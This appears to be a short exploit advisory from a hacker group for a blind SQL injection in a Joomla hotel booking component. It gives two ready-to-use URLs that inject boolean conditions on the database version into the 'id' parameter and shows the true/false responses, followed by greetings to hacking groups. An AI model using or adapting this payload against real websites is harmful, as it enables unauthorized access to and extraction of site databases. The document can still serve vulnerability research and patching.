Joomla! Component Regional Booking – ‘id’ Blind SQL Injection
Joomla Component Regional Booking (id) Blind SQL Injection Vulnerability ___________________________________ Author: Hussin X Home : www.IQ-TY.com/vb ___________________________________ script : http://www.joomlahbs.com/ Demo : _______ http://site.com/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=4 > ( FALSE ) http://site.com/p3/index.php?option=com_tophotelmodule&task=showhoteldetails&id=3+and substring(@@version,1,1)=5 > ( TRUE ) Greetz : IQ-SecuritY Members | Milw0rM | SecurityReason ALL Arabic Hack And Kurdish hack |